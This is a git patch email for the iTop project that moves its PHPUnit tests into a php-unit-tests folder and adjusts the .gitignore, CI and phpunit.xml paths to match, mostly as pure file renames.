 =?UTF-8?q?=20to=20a=20dedicated=20folder=20and=20start=20reorganizing=20t?=
 =?UTF-8?q?o=20match=20iTop=20folder=20structure?=
MIME-Version: 1.0
Content-Type: text/plain; charset=UTF-8
Content-Transfer-Encoding: 8bit

---
 .gitignore                                    |   4 +-
 test/ci_description.ini                       |   2 +-
 .../{ => php-unit-tests}/ItopDataTestCase.php |   0
 test/{ => php-unit-tests}/ItopTestCase.php    |   0
 test/{ => php-unit-tests}/composer.json       |   0
 .../DictionariesConsistencyTest.php           |   0
 .../iTopModulesPhpVersionChecklistTest.php    |   0
 .../iTopModulesXmlVersionChecklistTest.php    |   0
 test/{ => php-unit-tests}/phpunit.xml.dist    |  24 +-
 .../postbuild_integration.xml.dist            |   6 +-
 .../SetupCssIntegrityChecklistTest.php        |   0
 .../iTopDesignFormatChecklistTest.php         |   0
 ...iTopModuleXmlInstallationChecklistTest.php |   0
 .../application/DashboardLayoutTest.php       |   0
 .../tests}/application/UtilsTest.php          |   0
 .../application/composer/iTopComposerTest.php |   0
 .../application/privUITransactionFileTest.php |   0
 .../search/CriterionConversionTest.php        |   0
 .../search/CriterionParserTest.php            |   0
 .../application/search/SearchFormTest.php     |   0
 .../tests}/core/BulkChangeTest.inc.php        |   0
 .../tests}/core/CMDBObjectTest.php            |   0
 .../tests}/core/CMDBSource/CMDBSourceTest.php |   0
 .../core/CMDBSource/DeadLockInjection.php     |   0
 .../core/CMDBSource/TransactionsTest.php      |   0
 .../core/ConfigPlaceholdersResolverTest.php   |   0
 .../tests}/core/ConfigTest.php                |   0
 .../core/ConfigTest/config-itop-joker.php     |   0
 .../core/ConfigTest/config-itop-var.php       |   0
 .../config-itop_KO_config_plus_code.php       |   0
 .../config-itop_KO_function.php               |   0
 .../ConfigValidator/config-itop_VALID.php     |   0
 .../config-itop_VALID_log-level-min_const.php |   0
 .../iTopConfigAstValidatorTest.php            |   0
 .../tests}/core/DBObjectTest.php              |   0
 .../tests}/core/DBSearchCommitTest.php        |   0
 .../tests}/core/DBSearchIntersectTest.php     |   0
 .../tests}/core/DBSearchJoinTest.php          |   0
 .../tests}/core/DBSearchTest.php              |   0
 .../core/DBSearchUpdateRealiasingMapTest.php  |   0
 .../tests}/core/ExpressionTest.php            |   0
 .../tests}/core/LogAPITest.php                |   0
 .../tests}/core/LogFileNameBuilderTest.php    |   0
 .../tests}/core/MetaModelTest.php             |   0
 .../tests}/core/OQLParserTest.php             |   0
 .../tests}/core/OQLTest.php                   |   0
 .../tests}/core/TagSetFieldDataTest.php       |   0
 .../tests}/core/TriggerTest.php               |   0
 .../tests}/core/UniquenessConstraintTest.php  |   0
 .../tests}/core/UserRightsTest.php            |   0
 .../core/WeeklyScheduledProcessMockConfig.php |   0
 .../core/WeeklyScheduledProcessTest.php       |   0
 .../tests}/core/apcEmulationTest.php          |   0
 .../tests}/core/dictApcuTest.php              |   0
 .../tests}/core/dictTest.php                  |   0
 .../tests}/core/iTopConfigParserTest.php      |   0
 .../tests}/core/mockApcEmulation.incphp       |   0
 .../tests}/core/mockDict.incphp               |   0
 .../tests}/core/ormLinkSetTest.php            |   0
 .../tests}/core/ormTagSetTest.php             |   0
 .../sanitizer/AbstractDOMSanitizerTest.php    |   0
 .../core/sanitizer/HTMLDOMSanitizerTest.php   |   0
 .../tests}/core/sanitizer/InlineImageMock.php |   0
 .../tests}/core/sanitizer/README.txt          |   0
 .../core/sanitizer/SvgDOMSanitizerTest.php    |   0
 .../tests}/core/sanitizer/input/scripts.html  |   0
 .../tests}/core/sanitizer/input/scripts.svg   |   0
 .../utf-8_wrong_character_email_truncated.txt |   0
 .../core/sanitizer/input/whitelist_test.html  |   0
 .../tests}/core/sanitizer/output/scripts.html |   0
 .../tests}/core/sanitizer/output/scripts.svg  |   0
 .../utf-8_wrong_character_email_truncated.txt |   0
 .../tests}/coreExtensions/UserLocalTest.php   |   0
 .../UserLocalPasswordPolicyMock.php           |   0
 .../Validator/iTopConfigAstValidatorTest.php  |   0
 .../iTopConfigSyntaxValidatorTest.php         |   0
 .../2.x}/itop-tickets/itopTicketTest.php      |   0
 .../tests}/setup/DBBackupTest.php             |   0
 .../tests}/setup/SetupUtilsTest.php           |   0
 .../iTopDesignFormat/1.7_to_1.6.expected.xml  |   0
 .../iTopDesignFormat/1.7_to_1.6.input.xml     |   0
 .../iTopDesignFormat/iTopDesignFormatTest.php |   0
 .../tests}/status/StatusIncTest.php           |   0
 .../tests}/status/StatusTest.php              |   0
 .../tests}/status/status.php                  |   0
 .../tests}/webservices/RestTest.php           |   0
 .../{ => php-unit-tests}/unittestautoload.php |   0
 {test => tests/php-unit-tests}/composer.lock  | 435 ++----------------
 88 files changed, 52 insertions(+), 419 deletions(-)
 rename test/{ => php-unit-tests}/ItopDataTestCase.php (100%)
 rename test/{ => php-unit-tests}/ItopTestCase.php (100%)
 rename test/{ => php-unit-tests}/composer.json (100%)
 rename test/{ => php-unit-tests}/integration/DictionariesConsistencyTest.php (100%)
 rename test/{ => php-unit-tests}/integration/iTopModulesPhpVersionChecklistTest.php (100%)
 rename test/{ => php-unit-tests}/integration/iTopModulesXmlVersionChecklistTest.php (100%)
 rename test/{ => php-unit-tests}/phpunit.xml.dist (71%)
 rename test/{ => php-unit-tests}/postbuild_integration.xml.dist (84%)
 rename test/{ => php-unit-tests}/postbuild_integration/SetupCssIntegrityChecklistTest.php (100%)
 rename test/{ => php-unit-tests}/postbuild_integration/iTopDesignFormatChecklistTest.php (100%)
 rename test/{ => php-unit-tests}/postbuild_integration/iTopModuleXmlInstallationChecklistTest.php (100%)
 rename test/{ => php-unit-tests/tests}/application/DashboardLayoutTest.php (100%)
 rename test/{ => php-unit-tests/tests}/application/UtilsTest.php (100%)
 rename test/{ => php-unit-tests/tests}/application/composer/iTopComposerTest.php (100%)
 rename test/{ => php-unit-tests/tests}/application/privUITransactionFileTest.php (100%)
 rename test/{ => php-unit-tests/tests}/application/search/CriterionConversionTest.php (100%)
 rename test/{ => php-unit-tests/tests}/application/search/CriterionParserTest.php (100%)
 rename test/{ => php-unit-tests/tests}/application/search/SearchFormTest.php (100%)
 rename test/{ => php-unit-tests/tests}/core/BulkChangeTest.inc.php (100%)
 rename test/{ => php-unit-tests/tests}/core/CMDBObjectTest.php (100%)
 rename test/{ => php-unit-tests/tests}/core/CMDBSource/CMDBSourceTest.php (100%)
 rename test/{ => php-unit-tests/tests}/core/CMDBSource/DeadLockInjection.php (100%)
 rename test/{ => php-unit-tests/tests}/core/CMDBSource/TransactionsTest.php (100%)
 rename test/{ => php-unit-tests/tests}/core/ConfigPlaceholdersResolverTest.php (100%)
 rename test/{ => php-unit-tests/tests}/core/ConfigTest.php (100%)
 rename test/{ => php-unit-tests/tests}/core/ConfigTest/config-itop-joker.php (100%)
 rename test/{ => php-unit-tests/tests}/core/ConfigTest/config-itop-var.php (100%)
 rename test/{ => php-unit-tests/tests}/core/ConfigValidator/config-itop_KO_config_plus_code.php (100%)
 rename test/{ => php-unit-tests/tests}/core/ConfigValidator/config-itop_KO_function.php (100%)
 rename test/{ => php-unit-tests/tests}/core/ConfigValidator/config-itop_VALID.php (100%)
 rename test/{ => php-unit-tests/tests}/core/ConfigValidator/config-itop_VALID_log-level-min_const.php (100%)
 rename test/{ => php-unit-tests/tests}/core/ConfigValidator/iTopConfigAstValidatorTest.php (100%)
 rename test/{ => php-unit-tests/tests}/core/DBObjectTest.php (100%)
 rename test/{ => php-unit-tests/tests}/core/DBSearchCommitTest.php (100%)
 rename test/{ => php-unit-tests/tests}/core/DBSearchIntersectTest.php (100%)
 rename test/{ => php-unit-tests/tests}/core/DBSearchJoinTest.php (100%)
 rename test/{ => php-unit-tests/tests}/core/DBSearchTest.php (100%)
 rename test/{ => php-unit-tests/tests}/core/DBSearchUpdateRealiasingMapTest.php (100%)
 rename test/{ => php-unit-tests/tests}/core/ExpressionTest.php (100%)
 rename test/{ => php-unit-tests/tests}/core/LogAPITest.php (100%)
 rename test/{ => php-unit-tests/tests}/core/LogFileNameBuilderTest.php (100%)
 rename test/{ => php-unit-tests/tests}/core/MetaModelTest.php (100%)
 rename test/{ => php-unit-tests/tests}/core/OQLParserTest.php (100%)
 rename test/{ => php-unit-tests/tests}/core/OQLTest.php (100%)
 rename test/{ => php-unit-tests/tests}/core/TagSetFieldDataTest.php (100%)
 rename test/{ => php-unit-tests/tests}/core/TriggerTest.php (100%)
 rename test/{ => php-unit-tests/tests}/core/UniquenessConstraintTest.php (100%)
 rename test/{ => php-unit-tests/tests}/core/UserRightsTest.php (100%)
 rename test/{ => php-unit-tests/tests}/core/WeeklyScheduledProcessMockConfig.php (100%)
 rename test/{ => php-unit-tests/tests}/core/WeeklyScheduledProcessTest.php (100%)
 rename test/{ => php-unit-tests/tests}/core/apcEmulationTest.php (100%)
 rename test/{ => php-unit-tests/tests}/core/dictApcuTest.php (100%)
 rename test/{ => php-unit-tests/tests}/core/dictTest.php (100%)
 rename test/{ => php-unit-tests/tests}/core/iTopConfigParserTest.php (100%)
 rename test/{ => php-unit-tests/tests}/core/mockApcEmulation.incphp (100%)
 rename test/{ => php-unit-tests/tests}/core/mockDict.incphp (100%)
 rename test/{ => php-unit-tests/tests}/core/ormLinkSetTest.php (100%)
 rename test/{ => php-unit-tests/tests}/core/ormTagSetTest.php (100%)
 rename test/{ => php-unit-tests/tests}/core/sanitizer/AbstractDOMSanitizerTest.php (100%)
 rename test/{ => php-unit-tests/tests}/core/sanitizer/HTMLDOMSanitizerTest.php (100%)
 rename test/{ => php-unit-tests/tests}/core/sanitizer/InlineImageMock.php (100%)
 rename test/{ => php-unit-tests/tests}/core/sanitizer/README.txt (100%)
 rename test/{ => php-unit-tests/tests}/core/sanitizer/SvgDOMSanitizerTest.php (100%)
 rename test/{ => php-unit-tests/tests}/core/sanitizer/input/scripts.html (100%)
 rename test/{ => php-unit-tests/tests}/core/sanitizer/input/scripts.svg (100%)
 rename test/{ => php-unit-tests/tests}/core/sanitizer/input/utf-8_wrong_character_email_truncated.txt (100%)
 rename test/{ => php-unit-tests/tests}/core/sanitizer/input/whitelist_test.html (100%)
 rename test/{ => php-unit-tests/tests}/core/sanitizer/output/scripts.html (100%)
 rename test/{ => php-unit-tests/tests}/core/sanitizer/output/scripts.svg (100%)
 rename test/{ => php-unit-tests/tests}/core/sanitizer/output/utf-8_wrong_character_email_truncated.txt (100%)
 rename test/{ => php-unit-tests/tests}/coreExtensions/UserLocalTest.php (100%)
 rename test/{ => php-unit-tests/tests}/coreExtensions/UserLocalTest/UserLocalPasswordPolicyMock.php (100%)
 rename test/{ => php-unit-tests/tests/datamodels/2.x}/itop-config/Validator/iTopConfigAstValidatorTest.php (100%)
 rename test/{ => php-unit-tests/tests/datamodels/2.x}/itop-config/Validator/iTopConfigSyntaxValidatorTest.php (100%)
 rename test/{ => php-unit-tests/tests/datamodels/2.x}/itop-tickets/itopTicketTest.php (100%)
 rename test/{ => php-unit-tests/tests}/setup/DBBackupTest.php (100%)
 rename test/{ => php-unit-tests/tests}/setup/SetupUtilsTest.php (100%)
 rename test/{ => php-unit-tests/tests}/setup/iTopDesignFormat/1.7_to_1.6.expected.xml (100%)
 rename test/{ => php-unit-tests/tests}/setup/iTopDesignFormat/1.7_to_1.6.input.xml (100%)
 rename test/{ => php-unit-tests/tests}/setup/iTopDesignFormat/iTopDesignFormatTest.php (100%)
 rename test/{ => php-unit-tests/tests}/status/StatusIncTest.php (100%)
 rename test/{ => php-unit-tests/tests}/status/StatusTest.php (100%)
 rename test/{ => php-unit-tests/tests}/status/status.php (100%)
 rename test/{ => php-unit-tests/tests}/webservices/RestTest.php (100%)
 rename test/{ => php-unit-tests}/unittestautoload.php (100%)
 rename {test => tests/php-unit-tests}/composer.lock (77%)

diff --git a/.gitignore b/.gitignore
index 1fe7f38f4..8a46f7b20 100644
--- a/.gitignore
+++ b/.gitignore
@@ -8,7 +8,7 @@
 
 # composer reserver directory, from sources, populate/update using "composer install"
 vendor/*
-test/vendor/*
+test/*/vendor/*
 
 # all conf but listing prevention
 /conf/**
@@ -33,7 +33,7 @@ test/vendor/*
 !/log/web.config
 
 # PHPUnit cache file
-/test/.phpunit.result.cache
+/test/php-unit-tests/.phpunit.result.cache
 
 
 # Jetbrains
diff --git a/test/ci_description.ini b/test/ci_description.ini
index dfa005287..ed14d2c87 100644
--- a/test/ci_description.ini
+++ b/test/ci_description.ini
@@ -5,4 +5,4 @@ itop_backup=test/backups/backup-itop.tar.gz
 [phpunit]
 ; when empty phpunit_xml => no phpunit test performed
 ; phpunit xml file description. required for phpunit testing
-phpunit_xml=test/phpunit.xml.dist
+phpunit_xml=test/php-unit-tests/phpunit.xml.dist
diff --git a/test/ItopDataTestCase.php b/test/php-unit-tests/ItopDataTestCase.php
similarity index 100%
rename from test/ItopDataTestCase.php
rename to test/php-unit-tests/ItopDataTestCase.php
diff --git a/test/ItopTestCase.php b/test/php-unit-tests/ItopTestCase.php
similarity index 100%
rename from test/ItopTestCase.php
rename to test/php-unit-tests/ItopTestCase.php
diff --git a/test/composer.json b/test/php-unit-tests/composer.json
similarity index 100%
rename from test/composer.json
rename to test/php-unit-tests/composer.json
diff --git a/test/integration/DictionariesConsistencyTest.php b/test/php-unit-tests/integration/DictionariesConsistencyTest.php
similarity index 100%
rename from test/integration/DictionariesConsistencyTest.php
rename to test/php-unit-tests/integration/DictionariesConsistencyTest.php
diff --git a/test/integration/iTopModulesPhpVersionChecklistTest.php b/test/php-unit-tests/integration/iTopModulesPhpVersionChecklistTest.php
similarity index 100%
rename from test/integration/iTopModulesPhpVersionChecklistTest.php
rename to test/php-unit-tests/integration/iTopModulesPhpVersionChecklistTest.php
diff --git a/test/integration/iTopModulesXmlVersionChecklistTest.php b/test/php-unit-tests/integration/iTopModulesXmlVersionChecklistTest.php
similarity index 100%
rename from test/integration/iTopModulesXmlVersionChecklistTest.php
rename to test/php-unit-tests/integration/iTopModulesXmlVersionChecklistTest.php
diff --git a/test/phpunit.xml.dist b/test/php-unit-tests/phpunit.xml.dist
similarity index 71%
rename from test/phpunit.xml.dist
rename to test/php-unit-tests/phpunit.xml.dist
index a836dbd9a..703b2b363 100644
--- a/test/phpunit.xml.dist
+++ b/test/php-unit-tests/phpunit.xml.dist
@@ -29,44 +29,44 @@
 
   
     
-      application
+      tests/application
     
     
-      core
+      tests/core
     
     
-      coreExtensions
+      tests/coreExtensions
     
     
       integration
     
     
-      itop-config
+      tests/datamodels/2.x/itop-config
     
     
-      itop-tickets
+      tests/datamodels/2.x/itop-tickets
     
     
-      setup
+      tests/setup
     
     
-      status
+      tests/status
     
     
-      webservices
+      tests/webservices
     
 
     
-      ../env-production/*/test
+      ../../../env-production/*/test
     
   
 
   
   
     
-      ../core/apc-emulation.php
-      ../core/ormlinkset.class.inc.php
-      ../datamodels/2.x/itop-tickets/main.itop-tickets.php
+      ../../../core/apc-emulation.php
+      ../../../core/ormlinkset.class.inc.php
+      ../../../datamodels/2.x/itop-tickets/main.itop-tickets.php
     
   
 
diff --git a/test/postbuild_integration.xml.dist b/test/php-unit-tests/postbuild_integration.xml.dist
similarity index 84%
rename from test/postbuild_integration.xml.dist
rename to test/php-unit-tests/postbuild_integration.xml.dist
index 5e701b93d..2032e204e 100644
--- a/test/postbuild_integration.xml.dist
+++ b/test/php-unit-tests/postbuild_integration.xml.dist
@@ -34,9 +34,9 @@
     
     
         
-            ../core/apc-emulation.php
-            ../core/ormlinkset.class.inc.php
-            ../datamodels/2.x/itop-tickets/main.itop-tickets.php
+            ../../../core/apc-emulation.php
+            ../../../core/ormlinkset.class.inc.php
+            ../../../datamodels/2.x/itop-tickets/main.itop-tickets.php
         
     
 
diff --git a/test/postbuild_integration/SetupCssIntegrityChecklistTest.php b/test/php-unit-tests/postbuild_integration/SetupCssIntegrityChecklistTest.php
similarity index 100%
rename from test/postbuild_integration/SetupCssIntegrityChecklistTest.php
rename to test/php-unit-tests/postbuild_integration/SetupCssIntegrityChecklistTest.php
diff --git a/test/postbuild_integration/iTopDesignFormatChecklistTest.php b/test/php-unit-tests/postbuild_integration/iTopDesignFormatChecklistTest.php
similarity index 100%
rename from test/postbuild_integration/iTopDesignFormatChecklistTest.php
rename to test/php-unit-tests/postbuild_integration/iTopDesignFormatChecklistTest.php
diff --git a/test/postbuild_integration/iTopModuleXmlInstallationChecklistTest.php b/test/php-unit-tests/postbuild_integration/iTopModuleXmlInstallationChecklistTest.php
similarity index 100%
rename from test/postbuild_integration/iTopModuleXmlInstallationChecklistTest.php
rename to test/php-unit-tests/postbuild_integration/iTopModuleXmlInstallationChecklistTest.php
diff --git a/test/application/DashboardLayoutTest.php b/test/php-unit-tests/tests/application/DashboardLayoutTest.php
similarity index 100%
rename from test/application/DashboardLayoutTest.php
rename to test/php-unit-tests/tests/application/DashboardLayoutTest.php
diff --git a/test/application/UtilsTest.php b/test/php-unit-tests/tests/application/UtilsTest.php
similarity index 100%
rename from test/application/UtilsTest.php
rename to test/php-unit-tests/tests/application/UtilsTest.php
diff --git a/test/application/composer/iTopComposerTest.php b/test/php-unit-tests/tests/application/composer/iTopComposerTest.php
similarity index 100%
rename from test/application/composer/iTopComposerTest.php
rename to test/php-unit-tests/tests/application/composer/iTopComposerTest.php
diff --git a/test/application/privUITransactionFileTest.php b/test/php-unit-tests/tests/application/privUITransactionFileTest.php
similarity index 100%
rename from test/application/privUITransactionFileTest.php
rename to test/php-unit-tests/tests/application/privUITransactionFileTest.php
diff --git a/test/application/search/CriterionConversionTest.php b/test/php-unit-tests/tests/application/search/CriterionConversionTest.php
similarity index 100%
rename from test/application/search/CriterionConversionTest.php
rename to test/php-unit-tests/tests/application/search/CriterionConversionTest.php
diff --git a/test/application/search/CriterionParserTest.php b/test/php-unit-tests/tests/application/search/CriterionParserTest.php
similarity index 100%
rename from test/application/search/CriterionParserTest.php
rename to test/php-unit-tests/tests/application/search/CriterionParserTest.php
diff --git a/test/application/search/SearchFormTest.php b/test/php-unit-tests/tests/application/search/SearchFormTest.php
similarity index 100%
rename from test/application/search/SearchFormTest.php
rename to test/php-unit-tests/tests/application/search/SearchFormTest.php
diff --git a/test/core/BulkChangeTest.inc.php b/test/php-unit-tests/tests/core/BulkChangeTest.inc.php
similarity index 100%
rename from test/core/BulkChangeTest.inc.php
rename to test/php-unit-tests/tests/core/BulkChangeTest.inc.php
diff --git a/test/core/CMDBObjectTest.php b/test/php-unit-tests/tests/core/CMDBObjectTest.php
similarity index 100%
rename from test/core/CMDBObjectTest.php
rename to test/php-unit-tests/tests/core/CMDBObjectTest.php
diff --git a/test/core/CMDBSource/CMDBSourceTest.php b/test/php-unit-tests/tests/core/CMDBSource/CMDBSourceTest.php
similarity index 100%
rename from test/core/CMDBSource/CMDBSourceTest.php
rename to test/php-unit-tests/tests/core/CMDBSource/CMDBSourceTest.php
diff --git a/test/core/CMDBSource/DeadLockInjection.php b/test/php-unit-tests/tests/core/CMDBSource/DeadLockInjection.php
similarity index 100%
rename from test/core/CMDBSource/DeadLockInjection.php
rename to test/php-unit-tests/tests/core/CMDBSource/DeadLockInjection.php
diff --git a/test/core/CMDBSource/TransactionsTest.php b/test/php-unit-tests/tests/core/CMDBSource/TransactionsTest.php
similarity index 100%
rename from test/core/CMDBSource/TransactionsTest.php
rename to test/php-unit-tests/tests/core/CMDBSource/TransactionsTest.php
diff --git a/test/core/ConfigPlaceholdersResolverTest.php b/test/php-unit-tests/tests/core/ConfigPlaceholdersResolverTest.php
similarity index 100%
rename from test/core/ConfigPlaceholdersResolverTest.php
rename to test/php-unit-tests/tests/core/ConfigPlaceholdersResolverTest.php
diff --git a/test/core/ConfigTest.php b/test/php-unit-tests/tests/core/ConfigTest.php
similarity index 100%
rename from test/core/ConfigTest.php
rename to test/php-unit-tests/tests/core/ConfigTest.php
diff --git a/test/core/ConfigTest/config-itop-joker.php b/test/php-unit-tests/tests/core/ConfigTest/config-itop-joker.php
similarity index 100%
rename from test/core/ConfigTest/config-itop-joker.php
rename to test/php-unit-tests/tests/core/ConfigTest/config-itop-joker.php
diff --git a/test/core/ConfigTest/config-itop-var.php b/test/php-unit-tests/tests/core/ConfigTest/config-itop-var.php
similarity index 100%
rename from test/core/ConfigTest/config-itop-var.php
rename to test/php-unit-tests/tests/core/ConfigTest/config-itop-var.php
diff --git a/test/core/ConfigValidator/config-itop_KO_config_plus_code.php b/test/php-unit-tests/tests/core/ConfigValidator/config-itop_KO_config_plus_code.php
similarity index 100%
rename from test/core/ConfigValidator/config-itop_KO_config_plus_code.php
rename to test/php-unit-tests/tests/core/ConfigValidator/config-itop_KO_config_plus_code.php
diff --git a/test/core/ConfigValidator/config-itop_KO_function.php b/test/php-unit-tests/tests/core/ConfigValidator/config-itop_KO_function.php
similarity index 100%
rename from test/core/ConfigValidator/config-itop_KO_function.php
rename to test/php-unit-tests/tests/core/ConfigValidator/config-itop_KO_function.php
diff --git a/test/core/ConfigValidator/config-itop_VALID.php b/test/php-unit-tests/tests/core/ConfigValidator/config-itop_VALID.php
similarity index 100%
rename from test/core/ConfigValidator/config-itop_VALID.php
rename to test/php-unit-tests/tests/core/ConfigValidator/config-itop_VALID.php
diff --git a/test/core/ConfigValidator/config-itop_VALID_log-level-min_const.php b/test/php-unit-tests/tests/core/ConfigValidator/config-itop_VALID_log-level-min_const.php
similarity index 100%
rename from test/core/ConfigValidator/config-itop_VALID_log-level-min_const.php
rename to test/php-unit-tests/tests/core/ConfigValidator/config-itop_VALID_log-level-min_const.php
diff --git a/test/core/ConfigValidator/iTopConfigAstValidatorTest.php b/test/php-unit-tests/tests/core/ConfigValidator/iTopConfigAstValidatorTest.php
similarity index 100%
rename from test/core/ConfigValidator/iTopConfigAstValidatorTest.php
rename to test/php-unit-tests/tests/core/ConfigValidator/iTopConfigAstValidatorTest.php
diff --git a/test/core/DBObjectTest.php b/test/php-unit-tests/tests/core/DBObjectTest.php
similarity index 100%
rename from test/core/DBObjectTest.php
rename to test/php-unit-tests/tests/core/DBObjectTest.php
diff --git a/test/core/DBSearchCommitTest.php b/test/php-unit-tests/tests/core/DBSearchCommitTest.php
similarity index 100%
rename from test/core/DBSearchCommitTest.php
rename to test/php-unit-tests/tests/core/DBSearchCommitTest.php
diff --git a/test/core/DBSearchIntersectTest.php b/test/php-unit-tests/tests/core/DBSearchIntersectTest.php
similarity index 100%
rename from test/core/DBSearchIntersectTest.php
rename to test/php-unit-tests/tests/core/DBSearchIntersectTest.php
diff --git a/test/core/DBSearchJoinTest.php b/test/php-unit-tests/tests/core/DBSearchJoinTest.php
similarity index 100%
rename from test/core/DBSearchJoinTest.php
rename to test/php-unit-tests/tests/core/DBSearchJoinTest.php
diff --git a/test/core/DBSearchTest.php b/test/php-unit-tests/tests/core/DBSearchTest.php
similarity index 100%
rename from test/core/DBSearchTest.php
rename to test/php-unit-tests/tests/core/DBSearchTest.php
diff --git a/test/core/DBSearchUpdateRealiasingMapTest.php b/test/php-unit-tests/tests/core/DBSearchUpdateRealiasingMapTest.php
similarity index 100%
rename from test/core/DBSearchUpdateRealiasingMapTest.php
rename to test/php-unit-tests/tests/core/DBSearchUpdateRealiasingMapTest.php
diff --git a/test/core/ExpressionTest.php b/test/php-unit-tests/tests/core/ExpressionTest.php
similarity index 100%
rename from test/core/ExpressionTest.php
rename to test/php-unit-tests/tests/core/ExpressionTest.php
diff --git a/test/core/LogAPITest.php b/test/php-unit-tests/tests/core/LogAPITest.php
similarity index 100%
rename from test/core/LogAPITest.php
rename to test/php-unit-tests/tests/core/LogAPITest.php
diff --git a/test/core/LogFileNameBuilderTest.php b/test/php-unit-tests/tests/core/LogFileNameBuilderTest.php
similarity index 100%
rename from test/core/LogFileNameBuilderTest.php
rename to test/php-unit-tests/tests/core/LogFileNameBuilderTest.php
diff --git a/test/core/MetaModelTest.php b/test/php-unit-tests/tests/core/MetaModelTest.php
similarity index 100%
rename from test/core/MetaModelTest.php
rename to test/php-unit-tests/tests/core/MetaModelTest.php
diff --git a/test/core/OQLParserTest.php b/test/php-unit-tests/tests/core/OQLParserTest.php
similarity index 100%
rename from test/core/OQLParserTest.php
rename to test/php-unit-tests/tests/core/OQLParserTest.php
diff --git a/test/core/OQLTest.php b/test/php-unit-tests/tests/core/OQLTest.php
similarity index 100%
rename from test/core/OQLTest.php
rename to test/php-unit-tests/tests/core/OQLTest.php
diff --git a/test/core/TagSetFieldDataTest.php b/test/php-unit-tests/tests/core/TagSetFieldDataTest.php
similarity index 100%
rename from test/core/TagSetFieldDataTest.php
rename to test/php-unit-tests/tests/core/TagSetFieldDataTest.php
diff --git a/test/core/TriggerTest.php b/test/php-unit-tests/tests/core/TriggerTest.php
similarity index 100%
rename from test/core/TriggerTest.php
rename to test/php-unit-tests/tests/core/TriggerTest.php
diff --git a/test/core/UniquenessConstraintTest.php b/test/php-unit-tests/tests/core/UniquenessConstraintTest.php
similarity index 100%
rename from test/core/UniquenessConstraintTest.php
rename to test/php-unit-tests/tests/core/UniquenessConstraintTest.php
diff --git a/test/core/UserRightsTest.php b/test/php-unit-tests/tests/core/UserRightsTest.php
similarity index 100%
rename from test/core/UserRightsTest.php
rename to test/php-unit-tests/tests/core/UserRightsTest.php
diff --git a/test/core/WeeklyScheduledProcessMockConfig.php b/test/php-unit-tests/tests/core/WeeklyScheduledProcessMockConfig.php
similarity index 100%
rename from test/core/WeeklyScheduledProcessMockConfig.php
rename to test/php-unit-tests/tests/core/WeeklyScheduledProcessMockConfig.php
diff --git a/test/core/WeeklyScheduledProcessTest.php b/test/php-unit-tests/tests/core/WeeklyScheduledProcessTest.php
similarity index 100%
rename from test/core/WeeklyScheduledProcessTest.php
rename to test/php-unit-tests/tests/core/WeeklyScheduledProcessTest.php
diff --git a/test/core/apcEmulationTest.php b/test/php-unit-tests/tests/core/apcEmulationTest.php
similarity index 100%
rename from test/core/apcEmulationTest.php
rename to test/php-unit-tests/tests/core/apcEmulationTest.php
diff --git a/test/core/dictApcuTest.php b/test/php-unit-tests/tests/core/dictApcuTest.php
similarity index 100%
rename from test/core/dictApcuTest.php
rename to test/php-unit-tests/tests/core/dictApcuTest.php
diff --git a/test/core/dictTest.php b/test/php-unit-tests/tests/core/dictTest.php
similarity index 100%
rename from test/core/dictTest.php
rename to test/php-unit-tests/tests/core/dictTest.php
diff --git a/test/core/iTopConfigParserTest.php b/test/php-unit-tests/tests/core/iTopConfigParserTest.php
similarity index 100%
rename from test/core/iTopConfigParserTest.php
rename to test/php-unit-tests/tests/core/iTopConfigParserTest.php
diff --git a/test/core/mockApcEmulation.incphp b/test/php-unit-tests/tests/core/mockApcEmulation.incphp
similarity index 100%
rename from test/core/mockApcEmulation.incphp
rename to test/php-unit-tests/tests/core/mockApcEmulation.incphp
diff --git a/test/core/mockDict.incphp b/test/php-unit-tests/tests/core/mockDict.incphp
similarity index 100%
rename from test/core/mockDict.incphp
rename to test/php-unit-tests/tests/core/mockDict.incphp
diff --git a/test/core/ormLinkSetTest.php b/test/php-unit-tests/tests/core/ormLinkSetTest.php
similarity index 100%
rename from test/core/ormLinkSetTest.php
rename to test/php-unit-tests/tests/core/ormLinkSetTest.php
diff --git a/test/core/ormTagSetTest.php b/test/php-unit-tests/tests/core/ormTagSetTest.php
similarity index 100%
rename from test/core/ormTagSetTest.php
rename to test/php-unit-tests/tests/core/ormTagSetTest.php
diff --git a/test/core/sanitizer/AbstractDOMSanitizerTest.php b/test/php-unit-tests/tests/core/sanitizer/AbstractDOMSanitizerTest.php
similarity index 100%
rename from test/core/sanitizer/AbstractDOMSanitizerTest.php
rename to test/php-unit-tests/tests/core/sanitizer/AbstractDOMSanitizerTest.php
diff --git a/test/core/sanitizer/HTMLDOMSanitizerTest.php b/test/php-unit-tests/tests/core/sanitizer/HTMLDOMSanitizerTest.php
similarity index 100%
rename from test/core/sanitizer/HTMLDOMSanitizerTest.php
rename to test/php-unit-tests/tests/core/sanitizer/HTMLDOMSanitizerTest.php
diff --git a/test/core/sanitizer/InlineImageMock.php b/test/php-unit-tests/tests/core/sanitizer/InlineImageMock.php
similarity index 100%
rename from test/core/sanitizer/InlineImageMock.php
rename to test/php-unit-tests/tests/core/sanitizer/InlineImageMock.php
diff --git a/test/core/sanitizer/README.txt b/test/php-unit-tests/tests/core/sanitizer/README.txt
similarity index 100%
rename from test/core/sanitizer/README.txt
rename to test/php-unit-tests/tests/core/sanitizer/README.txt
diff --git a/test/core/sanitizer/SvgDOMSanitizerTest.php b/test/php-unit-tests/tests/core/sanitizer/SvgDOMSanitizerTest.php
similarity index 100%
rename from test/core/sanitizer/SvgDOMSanitizerTest.php
rename to test/php-unit-tests/tests/core/sanitizer/SvgDOMSanitizerTest.php
diff --git a/test/core/sanitizer/input/scripts.html b/test/php-unit-tests/tests/core/sanitizer/input/scripts.html
similarity index 100%
rename from test/core/sanitizer/input/scripts.html
rename to test/php-unit-tests/tests/core/sanitizer/input/scripts.html
diff --git a/test/core/sanitizer/input/scripts.svg b/test/php-unit-tests/tests/core/sanitizer/input/scripts.svg
similarity index 100%
rename from test/core/sanitizer/input/scripts.svg
rename to test/php-unit-tests/tests/core/sanitizer/input/scripts.svg
diff --git a/test/core/sanitizer/input/utf-8_wrong_character_email_truncated.txt b/test/php-unit-tests/tests/core/sanitizer/input/utf-8_wrong_character_email_truncated.txt
similarity index 100%
rename from test/core/sanitizer/input/utf-8_wrong_character_email_truncated.txt
rename to test/php-unit-tests/tests/core/sanitizer/input/utf-8_wrong_character_email_truncated.txt
diff --git a/test/core/sanitizer/input/whitelist_test.html b/test/php-unit-tests/tests/core/sanitizer/input/whitelist_test.html
similarity index 100%
rename from test/core/sanitizer/input/whitelist_test.html
rename to test/php-unit-tests/tests/core/sanitizer/input/whitelist_test.html
